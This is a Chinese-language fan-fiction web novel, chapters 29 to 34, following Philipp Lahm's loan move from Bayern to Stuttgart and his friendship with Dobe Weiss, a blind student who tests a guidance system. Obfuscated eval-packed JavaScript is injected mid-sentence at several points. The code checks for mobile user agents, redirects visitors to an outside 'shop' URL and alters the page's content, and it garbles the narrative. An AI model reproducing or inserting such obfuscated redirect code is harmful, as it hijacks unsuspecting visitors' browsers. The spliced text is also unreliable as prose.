光是想象要解释清楚这一切所需要耗费的时间和精力,以及可能引发的连环疑问,菲利普就觉得太阳穴隐隐作痛。 他决定,至少在Scheidplatz车站这个空间里,他和多纳贝德·魏丝,还是继续保持那种互不打扰的“陌生人”关系就很好。更何况,他即将离开慕尼黑,等他回来的时候她在这里的测试也应该结束,他们可能根本没有再见面的机会。 隐瞒一下也没什么不好。他对自己说,带着一种如释重负又隐约有点自欺欺人的轻松。 带着这个坚定的,或者说,逃避的决定,他踏上了换乘平台。目光习惯性地扫过她通常会出现的那几个位置——站台中部靠近金属导向条的区域、靠近长椅的角落…… 没有。 那个每周一准时亮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326748|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、像疲惫而愤怒的周一化身般的荧光橙大嘴怪背包,今天没有出现。 取而代之的,是几条醒目的警戒线,以及数量明显增多的、穿着统一荧光条背心的工作人员和志愿者。菲利普的目光从那些志愿者身上掠过,注意到他们大多手持盲杖或牵着导盲犬,显然是视障人士。他礼貌而迅速地收回了视线,避免任何可能被视为凝视的不适,即便他们可能注意不到。 心头掠过一丝极其轻微的、难以辨明的情绪——是松了一口气,还是隐隐有一点点……失落?他没去深究,只是将之化作一声几乎听不见的轻叹,随呼吸吐出。 他不再停留,步伐稳定地踏上了开往塞贝纳大街训练基地的U3列车。 他和经纪人已经达成了共识。他们需要与拜仁慕尼黑的高层进行一次至关重要的会谈,主题明确:将他租借至斯图加特。 列车启动,载着他驶向一个关乎职业生涯拐点的白天。而那个在站台上暂时缺席的荧光色坐标,和公园傍晚潮湿的秘密,则被暂时封存在了记忆的某个隔间,与他球鞋踩踏草皮的声音、战术板的线条,以及即将到来的会谈,隔着一层静默的玻璃。 列车驶离站台,窗外景象开始加速模糊,他脑海里那个关于“要不要打招呼”的问题也因为对方的缺席而告一段落。取而代之的,是一个更模糊的疑问:她今天为什么没来? 而城市另一端的公寓厨房里,多贝正哼着歌,摸索着马克斯提前为她放在固定位置的面包和果酱,对站台上某位乘客内心那场短短几秒的微型风暴,一无所知。 30. 意外重逢 六月初的周末,阳光正好。 菲利普·拉姆独自一人,骑着自行车,沿着熟悉的路径驶向慕尼黑西郊。下赛季他就要租借斯图加特,对未知的紧迫感如影随形,对更高舞台的期待与对自我要求的加重,混合成一种细密的疲惫。 从盖恩骑到西郊不过十分钟,道路平整,蜿蜒在茂密的森林之间。只剩下鸟鸣、风声和车轮碾过路面的规律沙响。偶尔有同样来骑行的人从他旁边超过或者被他越过。心跳和呼吸的节奏与踩踏的频率同步,让这段时间里紧绷的神经和过度运转的大脑得到奢侈的舒缓。 然而,这份宁静被后面骤然爆发的喧哗打断。 “左左左!前面有人!快左!” “慢点慢点!你们别蹬了!” “右边!右边有空地!拐过去避开!” “哎呀我看不见啊!到底往哪边啊!算了我不管了——!” 他认得这个声音。菲利普下意识地回头。 映入眼帘的景象让他大脑空白了一瞬:一辆色彩鲜艳的红色串联四座自行车,正以并不算慢的速度朝他这边蛇形而来。而坐在驾驶位、掌控着方向的那个人,赫然是——多纳贝德·魏丝。 一个盲人,在掌控一辆载着四个人的自行车的方向? 这个认知带来的冲击,甚至让他忘记了第一时间避让。就在他愣神的这几秒钟里,那辆自行车为了避开他,猛地向路旁一扭,随即失去了平衡,在几声短促的尖叫和闷响里,连人带车,歪歪扭扭地栽进了道路旁的森林边缘。茂盛的草丛和灌木接住了他们,发出一阵悉悉索索的声响。 菲利普立刻捏紧刹车停了下来。他回头望着那片还在晃动的灌木丛,一时之间有些无言。几秒后,他推着车走过去,停在路边,朝着那片凌乱的绿色,犹疑着问道: “你们…还好吗?需要帮忙吗?” 灌木丛里传来一阵窸窣和低低的呻吟,随即是七嘴八舌、混杂着痛呼和尴尬的回应: “啊,没事!真的,谢谢!” “抱歉吓到您了!” “别担心,我们能搞定……” “打扰您了,对不起!” 菲利普看着四个人狼狈地从草丛里爬起来,脸上、头发上、衣服上都沾着泥土和草叶,那辆自行车则可怜兮兮地倒在更深处。他迟疑了一下,还是指了指自己的腰包,里面常备着纸巾和小瓶饮用水:“嗯……你们需不需要稍微清理一下?” “不用不用,谢谢!我们自己带了。” 又是一阵异口同声的婉拒。然后,菲利普就看到他们——包括眼睛看不见的多贝——都极其熟练地将手伸向那个个子最高金发男生的口袋。那个人臭着一张脸站着,却一动不动,任由同伴们从他口袋里掏出几块虽然皱巴巴但看起来干净的手帕。 这个默契又有点滑稽的小动作,让菲利普心中那点因为被打扰而生的些微不快消散了不少。他稍微犹豫了片刻,目光落在正被朋友帮忙拍打背上草屑的多贝身上,还是决定打破这纯粹的陌生人援助关系,开口打了个招呼: “……没想到在这里遇见你,多纳贝德。” 叽叽喳喳的四人组瞬间安静了。 多贝的动作顿住,花了大约两三秒钟,才从记忆库里调取并匹配上这个声音。随即,她脸上绽开了一个惊喜的笑容: “菲利普?是你吗?太巧了!” 她在朋友们的搀扶下回到坚实的路面,然后快乐地转向朋友们介绍道:“这就是我跟你们提过的菲利普!菲利普·拉姆,那个超级靠谱的新朋友!” “这是莉娜·施瓦茨、马克斯·福格尔、托马斯·克劳泽。”她挨个拍拍朋友的肩膀,被叫到名字的人配合着她的介绍对菲利普招招手。 “你们好。我是菲利普·拉姆。” 菲利普对着另外三人点了点头,算是正式招呼。 “您好。” *3 三声简洁的问候同时响起,带着礼貌和一点好奇的探究。 互相认识后,气氛反而陷入了一种微妙的尴尬。毕竟,刚刚四脚朝天栽进林子里的糗态,被陌生人目睹和被朋友——哪怕是新朋友——见证,心理压力截然不同。后面的三个人用眼神和细微的手势飞快交流,互相戳戳胳膊,最后默契地将多贝推到了最前面。 “……哈哈,所以……是啊……真没想到再次见面竟然这么……别致……” 多贝挠了挠脑袋,试图化解尴尬,结果从头发里摸出了半片树叶。她捏着树叶,表情更窘了。 菲利普看着她和她身后三个强忍笑意、眼神乱瞟的朋友,嘴角微扬,顺着她的话,用一种带着一丝戏谑的语气确认:“是啊,非常别致。” 这句话像按下了某个开关,紧绷的空气“噗”一声漏了气。多贝率先忍不住笑了出来,接着是莉娜的轻笑,马克斯扭过头去肩膀抖动,连看起来最稳重的托马斯也低头推了推眼镜,掩饰笑意。那点因出丑而产生的细微不自在,在这片共同的笑声中消散了。 “你也来这儿骑车吗?” 多贝拍了拍手上的灰,找了个安全的话题。这问题有点明知故问——西郊本就是著名的骑行区。 “嗯。” 菲利普还是回答了,顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326749|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充了真实的缘由,“散散心。” “心情不好吗?” 多贝敏锐地捕捉到了他语气里那丝几不可察的低沉,疑惑地问。她的朋友们也稍稍安静下来,投来关注的目光。 “……不。只是……” 菲利普迟疑了一下。他很少对不熟悉的人谈论自己的职业规划,尤其是这种未知且充满变数的事情。但或许是刚才那场混乱打破了一些隔阂,或许是眼前这个女孩曾对他袒露过更深的脆弱,他最终还是选择了透露一部分:“下个赛季我要租借到斯图加特了。感觉一切还有点……陌生。” 她的脸上还带着一点茫然,毕竟她对足球世界的转会、租借、俱乐部层级只有最模糊的概念。菲利普甚至怀疑她是否知道有斯图加特这个俱乐部,她的入门课都还是他教的。 “别担心。你是菲利普。而菲利普就是最好的。” 这句话简单,直白,甚至有点孩子气。 菲利普微微一怔,随即,一个真实而放松的微笑在他脸上化开。“谢谢。” 他低声道谢。 这时,在旁边检查自行车状况的马克斯和托马斯(莉娜则留在多贝身边,保持着一点警惕的陪伴)招呼道:“自行车没问题!可以继续了!” 多贝闻声,愉快地转向菲利普:“那我们得继续啦!真的很高兴遇见你!” “我也是。” 然后,他就听见四人开始兴致勃勃地重新安排阵型,并且—— 再次让多贝坐到了驾驶位。 “上次纯属指挥混乱!现在我们指定一个唯一指挥官!” 提议的是托马斯,他此刻的表情带着一种经过“深思熟虑”后的正经,仿佛在宣布一项严谨的科学实验方案。 另外三人立刻大呼小叫地表示赞同,好像刚才摔进草丛的事从未发生。 菲利普是感到一阵无语,甚至有些难以置信:认真的?就在刚刚发生过事故,且掌控方向的人完全看不见的情况下? 这太胡闹了。 但看着多贝被朋友们七手八脚但充满信任地扶上车座,脸上没有恐惧,只有跃跃欲试的兴奋和对自己朋友的绝对信赖;看着另外三人虽然吵吵嚷嚷,但彼此间流转着毋庸置疑的默契和支撑感……那股劝阻的话到了嘴边,又咽了回去。 他骑上车,最后看了一眼已经准备再次出发的四人小队,轻声说了句: “祝你们好运。” 身后隐约传来几句争执渐渐融入森林的背景音中。他的思绪似乎比来时更轻快了一些,脚下的节奏不自觉地加快,迎着林间疏落的光斑向前驶去。 31. 魏丝家的坦白 在多贝刚刚回到德国的时候,一件事始终压在魏丝家的心头。 “你告诉他们了吗?”直到听见爸爸挂断电话,多贝才小心翼翼地探头进来。 “…没有,我不敢。” 四月的施塔恩贝格,魏丝家的花园里一片生机盎然。 “你觉得这花怎么样,多贝会喜欢吗?”玛吉丽特·魏丝将一束春番红插进花瓶里,来来回回地调整着,她起了个大早,从花园里挑选出开得最漂亮的几枝。 弗里德里希·魏丝把怀里的几枝香堇递给她:“亲爱的玛吉,这个问题今天早上你已经问——”他抬眼,正好对上玛吉丽特扫过来的视线,“当然,当然!她会喜欢的,她最喜欢你的花园了。” 玛吉丽特对他扯出一个假笑,她接过香堇,继续摆弄面前的花瓶:“别在这里碍事,去把茶准备好。” 昨天下午他们的儿子菲利克斯打来电话,说明天要和多贝一起来施塔恩贝格。电话里他提到有件事要告诉他们,玛吉追问到底是什么事,他却吞吞吐吐遮遮掩掩,只说明天到了就知道了。 谁管他发生了什么事,最重要的是多贝要来。去年的圣诞节漱石带着多贝回了中国,到现在为止他们已经有将近三个月没见到她了,即便时常通话,见不到面也无法缓解思念。 想到即将到来的孙女,弗里不苟言笑的脸上也忍不住露出一个微笑,他拿出多贝最喜欢的那个茶杯,第不知道多少次检查它是否被清洗干净。 熟悉的喇叭声传来,玛吉已经欢快地跑去开门,弗里赶紧放下茶壶,跟着她走向门口。 “Meine kleine Sonnenschein!(我的小太阳!)” 玛吉甜蜜的呼喊突兀地断掉,半张开的手臂僵在空中。 “怎么了?”他按下玛吉的手给自己腾出点地方,“怎么不让他们进——” 门外,是紧挨在一起、神情复杂的儿子儿媳,以及他们中间那个努力挺直脊背,却仍然显得局促不安的孙女。 她的手里正紧握着一根盲杖。 “…嗨,奶奶,爷爷。好久不见…我们能、能进去坐坐吗?” 弗里不记得他们是怎么让开门口的位置,也不记得是怎样坐到沙发上听完那个故事的。他只能看见多贝手里的那根盲杖,以及那双灰暗的、毫无神采的绿眼睛。 圣诞假期,中国,争吵,铬酸溶液——一场意外。 多贝大概已经在心里打过很多次腹稿,除了一开始有些不知道怎么开口,剩下的内容被她说得流利又轻松。尤其是讲到她的新教授和新项目的时候,那双灰蒙蒙的眼睛好像也要被重新点亮了似的。 弗里看着那双绿眼睛,它的主人的语气如此真诚,好像那场意外带来的痛苦不值一提。他觉得那瓶铬酸好像也淋到了自己的眼睛里,不然他为什么渐渐看不清多贝的眼睛了呢? “你们瞒了我们三个月!”玛吉的每个字都像是从嗓子眼里撕下来的一般,她站起来想要冲向菲利克斯,却被多贝抓住:“奶奶!” 玛吉摔在沙发上,裙子碰翻了茶几上的托盘,零食洒了一地,那只多贝最喜欢的茶杯跌落在地板上。 她紧紧抱住多贝,将多贝的脸按在自己的胸口。哭声从喉咙里拱出,然后炸开,“多贝——我的小多贝——”,她再说不下去了,最后所有的声音模糊在一起,只剩下痛苦的哭嚎。 “我、我很抱歉,玛吉,弗里…这都是我的错…”林漱石颤抖着,她被菲利克斯死死按在椅子上,“这都是我的错…” 这当然是你的错!难不成是多贝的错吗!愤怒自痛苦中升腾,他只想让面前的两个人全都滚出去! 胸膛剧烈的起伏,那些痛苦和愤怒几乎要从胸口里冲出来—— “不…那不怪你,这只是、只是一场…意外。” 弗里听见自己这么说。 他摘下眼镜,捂住了自己的眼睛。 客厅里只能听见交织缠绕的哭声和多贝不知所措的安慰。 弗里不知道过了多久,也许很长时间,也许只有一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326750|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他放下手,看向多贝。 她还窝在玛吉怀里,一只手轻轻拍着她的背,一只手伸向父母的方向在空中乱抓:“别哭了,爸爸、妈妈…” 她的头发被蹭得翘起一些。从小到大都是这样不服帖。 弗里站起身走过去。 多贝察觉到有人靠近,她把脸从玛吉怀里抬起来,转向人来的方向:“爷爷?” 一只手伸过来,捋了捋她的头发。 多贝愣了一下。 她把脸重新埋回玛吉怀里,耳朵被玛吉亲了亲。 耳边是家人们压抑的抽泣声,头顶上爷爷的手止不住的颤抖。所有人都在因为她而痛苦。 不,别这样。 “我…我确实很害怕,在最开始。”她的声音因为还靠在玛吉的怀里显得闷闷的,玛吉稍稍松开手,让她能够坐直,“我也想过为什么这种事会发生在我身上。” 她听见妈妈的抽噎声有一瞬间的停顿:“多贝……” “但是——”她打断了妈妈将要说出口的话。 多贝握住白骑士,白骑士的杖尖滑过地毯,碰到了一个坚硬的小东西,她弯腰将它拾起。 一个杯子。刚刚它摔在地上,多贝摸到了一条裂纹。 “我没事”已经说过很多遍,那些意义、新方向——关于无障碍的,她也重复过很多次,现在再讲一遍也没什么意义。 她只是微笑起来,将脸偏向林漱石的方向:“不要哭了,我会难过的。” 窗外,四月的阳光正好。 哭泣声逐渐低弱,多贝听见椅子被拖动,爸爸和妈妈在低声道歉,爷爷还在指责他们竟然瞒了这么久… “我烤了普利莫斯特奶酪蛋糕,要不要来一点?”奶奶又亲了亲她的脸。 “当然!” 玛吉的脚步声逐渐远离。 多贝眨了眨被阳光晒得有些疼的眼睛,她的眼药水应该就在包里。 这样就很好。 她微微偏头,避开了阳光照过来的方向。 32.并行线和花 时间继续向前流淌,生活和以前并未有什么不同。至少在表面的刻度上,日复一日,依旧如常。 午后的阳光落在蒂尔施楼的机房里,只能听见一片密集的键盘声。 咔咔的声响规律而细密,没有人说话。多贝把眼药水放下,压低声音凑到托马斯耳边:“你再对一遍吧,墙体都闭合了吗?” “我检查过了,平立剖全都对齐了,没有乱炸几何体,也没反蓝。”鼠标咕噜咕噜地挪动,托马斯的声音也压得低低的。 “那把标注统一一下,咱们就上传吧。” 等到上传成功的提示传来,多贝就像一只漏完气的气球,瘪瘪地趴在桌子上:“希望这次的评语不是‘充满想象力’吧…” 一只手伸过来沉重地按在她的肩上,两个人重重地叹了口气。 下课铃响起,多贝挎上自己的怪物包,今天陪着她的是幕幕——以美梦为食的、喜欢恶作剧的粉色独角兽。她捏捏幕幕的角,和托马斯告别,踏上了前往Scheidplatz的地铁。 导盲系统1.0已经进入实地测试阶段。然而它的表现和实验室里比起来却是两回事:信号在人多的地方断掉,她只能站在人群里等它重新连上;定位把她带偏两米,她拿着盲杖在地上徒劳地滑来滑去试图找到正确的方向;系统在她靠近婴儿车的时候疯狂震动警报,她停下来,不知道该往前还是该后退。 志愿者说的最多的一句就是“我不明白”,工程师看着数据挠头,格吕恩教授在会议桌边沉默地转笔。 多贝能做的只有重复,一条路反复地走,在不同时间,不同的人流里重复着同样的流程。身边的小怪物从幕幕换到雅恩再到塔塔,平板里的记录条目逐日增长,团队的方案文档越来越厚,每周五的组会从日影过墙到暮色四合。 今天的测试结果显示误差区间大幅减小,回家的地铁上多贝把脸埋进多乐泰身上的小白花里,露出和它如出一辙的微笑。 回到家里还有更好的消息,托马斯扑过来抓着她的胳膊,声音比平时高了两个度,甚至有些破音:“我们这周的CAD作业合格了!” “疼疼疼!别捏这儿——!” 莉娜抓着她的胳膊给她上药,动作没轻没重,引得多贝又是一阵龇牙咧嘴:“轻点!” “托马斯胳膊上也是这样,怎么回事?你们去参加搏击俱乐部啦?” “是材料学。” 莉娜上药的动作一顿,声音里带了丝微妙的敬畏:“那你俩也太拼了。”即便她在信息部,也听说过范德尔教授催眠了整个系的同学的赫赫威名。 “哎呀,材料学的学分很高嘛!我还想明年申硕,一分都不能放过啊。” “哦豁,这么说,结构力学也要拿满咯?” “啊——”多贝尖叫一声,把脸埋进垫子里cos鸵鸟,“不要讲这个!” 草稿纸堆满书桌,风把纸吹得哗哗响,托马斯眼疾手快地抓住一张被吹跑的草稿:“你这受力分析就不对!” “那肯定是你转述错了!你怎么讲得我就是怎么画的!” 桌子被拍得晃晃悠悠,再次算出来一个和答案南辕北辙的数字,多贝和托马斯的火气被激起来,声音越来越大,谁也不认为自己有错。 两个人趴在桌子上头挨着头从第一个节点受力开始分析,最后发现一人漏了一个角。 “唉…” “唉…” “别唉了。”马克斯的声音从两人头顶响起,松节油的味道有点刺鼻,大概是刚从工作室回来,“我买了夜宵,吃不吃?” “吃!”。结构力学是什么东西,填饱肚子才是第一要紧事。 “莉娜呢?” “被叫去实验室了,好像要跑什么仿真数据?” “Poor莉娜~” 多贝声音因为嘴里的食物变得有些含糊:“这家肉卷的酸奶酱不好吃!”得到了托马斯同样含糊的赞同。 “不好吃就别吃啊!不好吃也没见你们谁少吃一口!” 窗外的天光暗了又亮,在忙碌、焦灼、偶尔崩溃、持续修复、以及与朋友们深夜分享楼下咖啡厅难吃的夜宵并一起痛骂上学考试和作业的间隙—— 多贝的六月过去了。 阿尔卑斯的草甸上还挂着露水,菲利普踩上去,裤脚很快湿了。母亲指着路边一丛植物说它的根茎可以酿酒。姐姐在后面拍照,父母在前面说说笑笑,时不时回头招呼他们俩。他点点头,拎着装着全家人午餐的包跟上。他大多数时候只是走、看。手机信号时有时无,他没觉得有什么要紧。 “早点回来,梅兰妮说今晚一起去音乐厅。”母亲将运动挎包递给菲利普,再一次叮嘱。 “知道了,妈妈,你已经说过两次了。”菲利普接过包,融入门口等候的朋友们之中。 游泳馆里水花四溅,互相嘲笑对方的速度太慢、姿势太丑。玩够了就勾肩搭背地钻进附近的咖啡馆,他点黑咖啡,对方点加了大量奶泡和焦糖的什么饮料,菲利普看一眼就觉得甜的腻歪。他们聊小时候的事情,聊去年夏天谁喝多了跳进伊萨尔河,聊最近看过的一部电影…直到母亲打电话催他回家。 晚上音乐厅里人出乎意料的多,梅兰妮兴致勃勃地解释:“今晚有直播,听说首席会来压阵!”她翻着节目单,指着一个名字,“就是她!尤莉娅·施瓦茨!” 电视里播放着马加特执教以来斯图加特的比赛录像,菲利普每天看一点。暂停,倒带,再看一遍。有时候记几行笔记,有时候只是看,然后关掉屏幕。 房间里快递箱摞在地板上。书,衣服,训练装备,那个半旧不新的黑色运动背包放在箱子的最上层。他看着房间里逐渐空出来的架子和衣柜,觉得像在整理一个阶段,清空,然后装进下一个。 母亲走进来要带他去商场,“斯图加特买不到合适的衣服怎么办?”。菲利普张张嘴又闭上。她列了一张购物清单,他负责提袋子、换衣服、从试衣间出来等待点评。她拿起一件浅灰色开衫问他觉得怎么样,他说“好”。她又拿起一件深蓝色的,他说“也行”。她笑着摇头,把两件都放进购物篮。 六月的慕尼黑阳光很好,昼长夜短,晚上九点天还亮着。他去阳台上收晾干的T恤,闻到空气里邻居传来的烧烤味。远处有小孩在踢球,皮球撞击墙壁的声音规律而绵长。 他站在那儿听了一会儿。 在放松、细微的紧张、对未知的谨慎期待、以及每次看到整理到一半的行李箱时那股“真的要走了”的实感之间—— 菲利普的六月过去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328784|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过生活还是多了一点点不一样的地方。 聊天软件里,那个几乎没聊过的联系人开始时不时浮上来。西郊那次偶遇像是命运轻轻点了点多贝的脑袋:嘿,你还有个新朋友呢。 于是可以分享日常的朋友又多了一个。频率不高,两三天一次。毕竟他们有各自的生活节奏。她赶项目、赶作业、和结构力学搏斗;他训练、陪家人、对着打包了一半的行李箱发呆。 对话框浮在各自繁忙日程的边缘,像两只停在相邻窗台的鸽子,偶尔扭头看对方一眼,咕咕叫两声。 她讲马克斯坚持用购物车漂移结果撞翻薯片塔,四个人狼狈地道歉并试图重建;讲托马斯在读书会上被问住,回家后和他们复盘了一小时“我当时怎么没想到要这么说?”;讲莉娜谈到实验室的新工程激动得在房间里吹了两个小时的小号直到邻居敲门投诉。偶尔分享一首歌,偶尔抱怨盲文摸久了导致指尖发麻。 菲利普大多数时候是被动的那个。通常是她先发来消息,有时是她笑到话都说不完整的语音,有时是转发的冷笑话,有时只是“今天餐厅特供的土豆泥竟然是薄巧香菜口味”之类的奇怪观察——“好难吃!我要打包一份带给莉娜他们。” 他话不多,但句句有回应。偶尔他会顺着她的话想象一下,比如薄巧香菜到底是什么口味,然后被自己的想象恶心得打个激灵。 她似乎也并不觉得他话少。她总是顺着那一两句话,继续往下讲别的事情。 菲利普自己也感到一点意外——这些没什么意义的东西竟然也可以聊上那么久。在某些沉默的间隙里,他会想到她。不是刻意的想念,只是在看见自己的黑色背包时会偶尔想起她那些色彩夸张的怪物背包,然后浮起一个念头:不知道今天她背的是哪个怪物? 特别偶尔的时候,他也会主动一次。 阿尔卑斯山的那天早晨,他和家人走了一段人少的徒步路线。晨雾还没散尽,草叶上挂满露水。 他看到一朵绿色的花——不是那种常见的、淹没在草丛里的绿,而是浅淡的、近乎透明的绿,花瓣边缘镶着一圈细细的白纹,阳光从某个角度斜着穿过来,整朵花都在发光。 他停下来。 他想到了多贝的眼睛。 不是“很像”那种具体的比喻,而是一种模糊的、难以言明的联系。那朵花很安静,安静到大多数路人会错过它;也很特别,特别到一旦看见就移不开目光。 梅兰妮从后面赶上来拍他的肩膀:“怎么停下了?”她顺着菲利普的目光看见那朵花,“绿色的花,还挺好看的。”她掏出手机拍了一张照片,绕过菲利普去追走在前面的父母。 菲利普盯着那朵花看了几秒,然后打开了相机。 晚些时候,一家人坐在湖边吹风闲聊,他打开对话框: “我今天看到一朵花,很像你。” 发送之前他把“像你的眼睛”删掉了。她看不见,说“眼睛”没有意义,也不太礼貌。这样就好。 多贝直到半夜写完课程笔记才看到这条消息。她听着手机旁白念出那行字,快乐地、理直气壮地回复: “像我的花吗?那它一定非常漂亮!” 菲利普没忍住笑了一下: “是的,”他回复,“确实很漂亮。” 33.斯图加特 菲利普踢完最后一场联赛的时候,他接到了来自斯图加特的电话。当时菲利普·拉姆正站在更衣室的储物柜前,汗还没干透。 之后的一切发生得很快,像一场被按下快进键的梦。他和经纪人罗曼约谈了拜仁高层,拜仁同意将他租借。他们去了斯图加特,坐在马加特的办公室里。 对话的具体内容菲利普已经不太记得,那天的记忆是碎片状的:办公室的百叶窗半拉着,马加特的手撑在桌子上。他记得马加特的态度很友好,看他的眼神不是在评估一件商品,而是确认一个计划中的人选。对于19岁的球员来说,能够稳定获得德甲联赛的出场机会,甚至可能成为首发——这是梦想具象的形状。 菲利普征求了父母的意见,听取了罗曼的专业建议,然后点头。 他要去斯图加特了。 七月下旬,斯图加特。 第一次训练前的更衣室,是世界上最难熬的几分钟。 他必须向每个人介绍自己。一遍,又一遍。 “你好,我是菲利普·拉姆。” “你好,我是菲利普。” “我是菲利普,刚从拜仁租借过来。” 没有人认识他。除了几个曾在国家青年队有过短暂交集的队友,礼貌地对他点点头。其他人的目光扫过他,像扫过一件新到的更衣柜配件。有人问他东西是不是都搬完了,他说“是的”。对话结束。 更衣室的气氛有些沉闷。他把背包放进柜子——他终于有了自己的更衣柜——拉链拉好,手指在那个半旧的黑色队包上停了一瞬。 然后他站起身,走向训练场。 站在训练场上,那种诚惶诚恐的感觉反而消失了。 菲利普知道自己踢得不错。现在他只需要验证一件事:他和那些经验丰富的德甲球员,是否在同一条水平线上。 但马加特的第一堂训练课让他迅速认清现实——还差一点。 “菲利普!你要更多的跑动!更积极地投入比赛!” 马加特把他从队伍里拎到场边,吼声砸过来,像一记耳光。菲利普低头跑回位置,大脑像被火车碾过嗡嗡作响,草皮在脚下发软。挫败感堵在喉咙里,他把嘴唇抿成一条线。 训练结束后,一个队友走过来,拍了拍他的肩膀。 “别太介意。教练对每一个人都是这样。他只是想帮你。” 菲利普点点头。他把这句话翻来覆去嚼了几遍,最后得出结论:马加特对他吼,意味着他把自己看作球队的一员,真正的一员。 好吧,好吧。那就努力。 训练结束后他回到公寓,客厅的灯是黑的,没有梅兰妮看书的身影,厨房里一片寂静,没有父母的聊天声,公寓里空无一人。 菲利普站在玄关听了几秒,只有冰箱运转时发出的规律的嗡嗡声。 他给自己煮了意面。锅里的水咕嘟咕嘟地冒着泡,他盯着那一小团翻滚的意面,数着时间,三分钟,四分钟,五分钟——好像比妈妈煮的久一点。装盘的时候才想起忘了放盐,算了,就这样吧。 拌上酱,他坐在陌生的餐桌面前。吞咽声在空荡的公寓里过于明显。 电话拨通,响了两声,那头就被接起来。 “菲利普!”母亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332325|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音总是这样,一听见是他的电话就拔高半个调,“今天怎么样?累不累?吃了没有?” 他说吃了,有点累,但训练挺好的。他把白天的事情筛了一遍,挑出那些能让她安心的部分,打包压缩讲给她听。 梅兰妮在旁边插嘴,“你走了都没人帮我跑腿了,”语气里带着一种亲昵的、装出来的抱怨,“菲利普你不知道,妈现在天天念叨你,我说你别念叨了,你儿子在斯图加特好得很。” 菲利普笑了一声说:“周末没有比赛就回家,陪你逛街,走一天也行。” 梅兰妮从鼻子里发出一声响:“那你等着瞧吧。” 电话换到父亲手里时,那头沉默了两秒。 “你那辆自行车,”父亲说,“把带松了,我替你缠好了。你回来就能骑。” 他“嗯”了一声。 又是几秒的沉默。 “那边怎么样?”父亲问。 “还行。教练要求很严。” “……嗯,好好踢。” “我知道。” 挂掉电话,房间里又只剩下冰箱运转的声音。他把手机放在桌子上,屏幕亮了一下,又暗下去。 窗外斯图加特的夜和慕尼黑比起来显得有些粘稠,车流声从远处传来,混成模糊的背景音。夏天的风从窗户缝里钻进来,带来这座城市陌生的气息。 他躺在那张陌生的床上,盯着天花板,想着明天上午的训练内容,马加特会不会又朝他吼,上午那个传球线路是不是还能更干脆一点。 他闭上眼睛,决定早点睡。 明天他想早一点到训练场。 34.融入和考试季 “惊喜!” 周六早上菲利普被一阵敲门声吵醒,他挣扎着从床上拔起飘到门边,还在疑惑这个时间谁会来找他,打开门—— “嘭——” 漫天闪亮的纸条缓缓飘落。菲利普隔着那层亮晶晶的碎屑,和巴斯蒂安·施魏因斯泰格四目相对。 “怎么了?是不是感动得要哭了?”施魏因斯泰格笑嘻嘻地放下手里的彩带桶,踢了踢脚边的背包,“还不快欢迎我进去?” 菲利普闭上眼,又睁开,眼前仍然是满地的碎纸和已经拎着包挤进客厅的施魏因斯泰格,不是做梦。他从牙缝里挤出一句话:“巴斯蒂——垃圾你自己捡干净——” 等到施魏因斯泰格欲哭无泪地把最后一片纸屑捡进垃圾桶,菲利普端着餐包和咖啡从厨房出来。 “再来点咖啡?” “当然!”施魏因斯泰格瞬间换上笑脸,把自己摔进沙发,将面包撕成小块丢进嘴里。 菲利普没问他为什么会出现在斯图加特,巴斯蒂安也没问他在斯图加特踢得怎么样。 